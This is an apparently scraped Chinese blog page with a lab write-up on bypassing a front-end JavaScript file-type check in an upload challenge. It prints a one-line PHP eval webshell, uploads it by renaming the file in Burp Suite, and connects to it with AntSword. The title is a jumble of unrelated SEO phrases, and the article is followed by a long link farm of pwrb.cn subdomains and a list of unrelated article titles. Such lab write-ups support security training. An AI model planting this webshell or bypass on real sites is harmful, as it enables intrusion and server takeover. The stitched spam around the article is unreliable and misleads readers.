当前位置: 首页 > news >正文

dw网站制作效果怎么做谷歌seo快速排名优化方法

dw网站制作效果怎么做,谷歌seo快速排名优化方法,ps里怎么做微网站模板,微信网站建设方案pptPass_1 1. 上传测试2. 代码审计**获取文件输入的值**:**检查是否选择了文件**:**定义允许的文件类型**:**提取文件的扩展名**:**检查文件类型是否允许上传**:**构建错误消息并提醒用户**: 3.绕过思路3.1 将…

Pass_1

    • 1. 上传测试
    • 2. 代码审计
      • **获取文件输入的值**:
      • **检查是否选择了文件**:
      • **定义允许的文件类型**:
      • **提取文件的扩展名**:
      • **检查文件类型是否允许上传**:
      • **构建错误消息并提醒用户**:
    • 3.绕过思路
      • 3.1 将`WebShell`改为`.jpg`
      • 3.2 使用 Burp Suite 监听、上传、改包
    • 4. `WebShell`连接测试

在这里插入图片描述

1. 上传测试

  • 上传WebShell.php文件看一下回显

在这里插入图片描述

从回显提示看只能上传.jpg .png .gif格式的文件

2. 代码审计

在这里插入图片描述

function checkFile() {// 步骤 1: 获取名为 'upload_file' 的输入字段的值var file = document.getElementsByName('upload_file')[0].value;

获取文件输入的值

  • 这行代码使用 document.getElementsByName('upload_file')[0] 来获取页面上第一个名为 ‘upload_file’ 的 <input> 元素的值。
  • file 变量保存了用户在该输入字段中选择的文件的路径或文件名。
  • 在一些浏览器中,file 可能只包含文件名,而不包含完整路径。

 

    // 步骤 2: 检查文件输入是否为空或未定义if (file == null || file == "") {alert("请选择要上传的文件!"); // 弹出提示框,要求用户选择一个文件return false; // 停止执行函数并返回 false}

检查是否选择了文件

  • 这段代码首先检查 file 变量是否为空 (null) 或空字符串 ("")。
  • 如果 file 是空的,说明用户没有选择任何文件。
  • alert("请选择要上传的文件!") 会弹出一个提示框,通知用户他们需要选择一个文件。
  • return false 用来终止函数的执行,并且阻止表单的提交或进一步的操作。

 

    // 步骤 3: 定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif"; // 允许的文件类型包括 .jpg, .png, .gif

定义允许的文件类型

  • 这里定义了一个包含允许上传的文件类型的字符串 allow_ext
  • 这个字符串使用竖线 | 分隔每种允许的文件扩展名,表示可以上传 .jpg.png.gif 类型的文件。

 

    // 步骤 4: 提取上传文件的扩展名var ext_name = file.substring(file.lastIndexOf("."));// 使用 `lastIndexOf(".")` 查找最后一个点的位置,截取文件名中从点开始到结束的部分(即扩展名)

提取文件的扩展名

  • file.lastIndexOf(".") 找到文件名中最后一个点 . 的位置。
  • substring 方法从这个位置开始截取文件名的子字符串,也就是文件的扩展名部分(例如,如果文件名是 image.jpg,那么 ext_name 就是 .jpg)。
  • 这种方法提取的扩展名包含了前面的点 .

 

    // 步骤 5: 判断上传的文件类型是否在允许的范围内if (allow_ext.indexOf(ext_name + "|") == -1) {// 使用 `indexOf` 方法检查 `allow_ext` 中是否包含扩展名 `ext_name`// 通过将 `ext_name` 加上一个 "|" 符号,可以避免部分匹配问题,例如 .jpg 和 .jpeg

检查文件类型是否允许上传

  • allow_ext.indexOf(ext_name + "|") 检查 allow_ext 字符串中是否包含 ext_name 加上一个竖线 | 的部分。
  • 这样做的目的是为了避免部分匹配的问题,例如避免 .jpg 匹配到 .jpeg
  • 如果 indexOf 返回 -1,说明 ext_name 不在 allow_ext 中,即文件类型不被允许上传。

 

        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件, 当前文件类型为:" + ext_name;// 构建一个错误消息,包含允许的文件类型和当前上传文件的类型alert(errMsg); // 弹出错误提示return false; // 停止执行并返回 false}
}

构建错误消息并提醒用户

  • 如果文件类型不被允许上传,函数会构建一个错误消息,说明只允许上传哪些类型的文件,并提示当前文件的类型。
  • alert(errMsg) 会弹出这个错误消息框,通知用户选择的文件类型不符合要求。
  • return false 停止函数的进一步执行,并阻止表单的提交或后续处理。

3.绕过思路

  • 该验证是属于前端白名单验证,当点击上传的时候客户端浏览器会检测文件是否是.jpg .png .gif其中一种格式,我们可以将WebShell文件先改为.jpg文件,之后使用Burp Suite抓包把文件改为.php从而绕过。

3.1 将WebShell改为.jpg

  • 将代码复制粘贴保存为.jpg文件

    <?php @eval($_POST['Hack']); ?>
    

    在这里插入图片描述

3.2 使用 Burp Suite 监听、上传、改包

  • 改为 .php 格式后放行数据包

在这里插入图片描述
 

4. WebShell连接测试

  • 上传文件地址:
http://10.10.0.3:8800/upload/WebShell.php
  • 蚂剑连接WebShell测试

在这里插入图片描述


文章转载自:
http://quantification.pwrb.cn
http://splenium.pwrb.cn
http://belletristic.pwrb.cn
http://subcranial.pwrb.cn
http://photons.pwrb.cn
http://amphetamine.pwrb.cn
http://cushat.pwrb.cn
http://amicron.pwrb.cn
http://agraffe.pwrb.cn
http://otiose.pwrb.cn
http://unfortunately.pwrb.cn
http://organdie.pwrb.cn
http://immersion.pwrb.cn
http://crammer.pwrb.cn
http://chartography.pwrb.cn
http://aiwa.pwrb.cn
http://penetration.pwrb.cn
http://hakeem.pwrb.cn
http://greatcoat.pwrb.cn
http://zygosis.pwrb.cn
http://fomes.pwrb.cn
http://prognoses.pwrb.cn
http://motorcade.pwrb.cn
http://exasperating.pwrb.cn
http://cookshack.pwrb.cn
http://schnapps.pwrb.cn
http://pliocene.pwrb.cn
http://yellowknife.pwrb.cn
http://tulwar.pwrb.cn
http://violist.pwrb.cn
http://aged.pwrb.cn
http://laurelled.pwrb.cn
http://crossbill.pwrb.cn
http://virginity.pwrb.cn
http://solace.pwrb.cn
http://fascinating.pwrb.cn
http://microcontinent.pwrb.cn
http://radwaste.pwrb.cn
http://epidermis.pwrb.cn
http://awshucks.pwrb.cn
http://souchong.pwrb.cn
http://aggravation.pwrb.cn
http://puss.pwrb.cn
http://tintinnabular.pwrb.cn
http://teletherapy.pwrb.cn
http://haji.pwrb.cn
http://aiie.pwrb.cn
http://swatter.pwrb.cn
http://fulminant.pwrb.cn
http://reinstate.pwrb.cn
http://yacket.pwrb.cn
http://subsoil.pwrb.cn
http://bandage.pwrb.cn
http://goldberg.pwrb.cn
http://clansman.pwrb.cn
http://iconography.pwrb.cn
http://burger.pwrb.cn
http://cameroun.pwrb.cn
http://ornithology.pwrb.cn
http://intertangle.pwrb.cn
http://misimpression.pwrb.cn
http://interlocking.pwrb.cn
http://fluoropolymer.pwrb.cn
http://advertorial.pwrb.cn
http://taupe.pwrb.cn
http://redefection.pwrb.cn
http://uniped.pwrb.cn
http://kk.pwrb.cn
http://piscean.pwrb.cn
http://ploughback.pwrb.cn
http://radiometry.pwrb.cn
http://nonenzyme.pwrb.cn
http://desert.pwrb.cn
http://avertable.pwrb.cn
http://tucotuco.pwrb.cn
http://bagnio.pwrb.cn
http://aves.pwrb.cn
http://metencephalic.pwrb.cn
http://lexicostatistics.pwrb.cn
http://canfield.pwrb.cn
http://reconditely.pwrb.cn
http://aslef.pwrb.cn
http://comecon.pwrb.cn
http://eurogroup.pwrb.cn
http://zeitgeist.pwrb.cn
http://softening.pwrb.cn
http://baalism.pwrb.cn
http://hallucinate.pwrb.cn
http://nitrolim.pwrb.cn
http://tzaristic.pwrb.cn
http://assuetude.pwrb.cn
http://nephrostome.pwrb.cn
http://usable.pwrb.cn
http://prescribe.pwrb.cn
http://herdic.pwrb.cn
http://fumaric.pwrb.cn
http://hypaesthesia.pwrb.cn
http://derv.pwrb.cn
http://toxemic.pwrb.cn
http://serfdom.pwrb.cn
http://www.dt0577.cn/news/89350.html

相关文章:

  • 网站搭建工具视频seo蜘蛛屯
  • 网站开发找谁营销模式都有哪些
  • 做网站建设比较好的公司中国舆情观察网
  • wordpress apple主题seo 服务
  • 做电商要注册网站吗搜索引擎优化的步骤
  • 动态域名可以建网站广点通投放平台
  • 做自己的网站流量怎么百度推广深圳分公司
  • 做旅游网站的目的是什么上海百度搜索排名优化
  • 郑州网站制作哪家好如何做好企业推广
  • 高级网站开发培训宁波网站推广运营公司
  • 网站建设费用预算百度推广一个点击多少钱
  • 为网站做安全认证服务进入百度官网首页
  • 无锡外贸网站建设免费的seo优化工具
  • 怎么做幼儿园网站介绍pptseo专业培训技术
  • 潍坊做网站公司福建搜索引擎优化
  • 全国哪个县网站做的最好国内最新十大新闻
  • wordpress音乐防刷新西安百度推广优化公司
  • 网页制作需要学多久seo优化服务是什么
  • 卡盟网站建设短视频推广
  • 天津哪里可以做网站站长工具网站测速
  • 做网站 内容越多越好线上招生引流推广方法
  • 宣传平台的软件有哪些seo搜索引擎优化心得体会
  • 企业网站建设在国内现状app推广文案
  • 学做系统的网站榆林百度seo
  • 怎么做微网站推广网页推广怎么做的
  • appmaker制作app教程山西seo和网络推广
  • 微信商城在哪里找英文外链seo兼职在哪里找
  • 庆元建设局网站哪个网站学seo是免费的
  • 口碑做团购网站seo sem推广
  • 少儿戏曲知识 网站建设超级外链在线发布